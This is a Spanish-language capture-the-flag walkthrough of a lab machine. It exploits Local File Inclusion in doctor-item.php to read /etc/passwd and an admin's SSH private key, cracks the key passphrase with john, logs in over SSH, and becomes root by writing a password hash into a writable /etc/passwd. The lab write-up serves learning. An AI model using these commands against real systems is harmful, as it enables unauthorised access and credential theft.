Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:
$ netdiscover -i eth1 -r 10.0.2.0/24
- Kali (Máquina Atacante): 10.0.2.4
- Máquina Victima: 10.0.2.50
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:
$ ping -c 1 10.0.2.50
Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.
A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:
$ nmap -Pn -p- 10.0.2.50 -sVC
Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22 y 80.
Comprobamos que es lo que corre por el puerto 80.
Investigamos un poco toda la pagina web, por los diferentes apartados.
Nos damos cuenta que en el apartador Doctors en la url de que doctor-item.php incluye el fichero .html como un parámetro, siendo la pagina web vulnerable a Local File Inclusion (LFI), intentamos acceder a algún fichero en local del propio servidor.
Conseguimos leer el fichero /etc/passwd.
Vemos que existe un usuario admin, enumeramos este usuario en busca de algún fichero importante, conseguimos leer la clave privada ssh id_rsa de este usuario, por lo tanto, con la ayuda de la herramienta curl lanzamos una petición al servidor web para visualizarla mejor, para ello ejecutamos el siguiente comando:
$ curl -sX GET "http://10.0.2.50/doctor-item.php?include=/home/admin/.ssh/id_rsa"
Nos la copiamos en un archivo, para ello ejecutamos el siguiente comando:
$ nano id_rsa
Extraemos el hash del fichero id_rsa con la herramienta ssh2john, para ello ejecutamos el siguiente comando:
$ ssh2john id_rsa > id_rsa.hash
A continuación, intentamos crackearlo, para ello utilizamos la herramienta john indicando el diccionario rockyou, para ello ejecutamos el siguiente comando:
$ john id_rsa.hash --wordlist=rockyou.txt
Y obtenemos la contraseña unicorn.
Una vez crackeada la contraseña utilizamos el fichero id_rsa para conectarnos via ssh a la Máquina victima, para ello ejecutamos los siguientes comandos:
$ chmod 600 id_rsa
$ ssh -i id_rsa admin@10.0.2.50
Introducimos la contraseña obtenida anteriormente.
¡¡¡Somos admin!!!
Enumeramos los ficheros con permisos de escritura, para ello ejecutamos el siguiente comando:
$ find / -writable -type f 2>/dev/null
Tenemos permisos de escritura en el fichero /etc/passwd, por lo tanto, nos generamos un hash de contraseña, para ello ejecutamos el siguiente comando:
$ openssl passwd -1 Doctor
Editamos el fichero /etc/passwd y cambiamos la x del usuario root por el hash generado para que en vez de validar la contraseña desde el fichero /etc/shadow lo haga desde el /etc/passwd, para ello ejecutamos el siguiente comando:
$ nano /etc/passwd
Nos cambiamos al usuario root, para ello ejecutamos el siguiente comando:
$ su root
Introducimos la contraseña generada anteriormente.
¡¡¡Ya somos root!!!
Ya podemos leer las flags de user y root.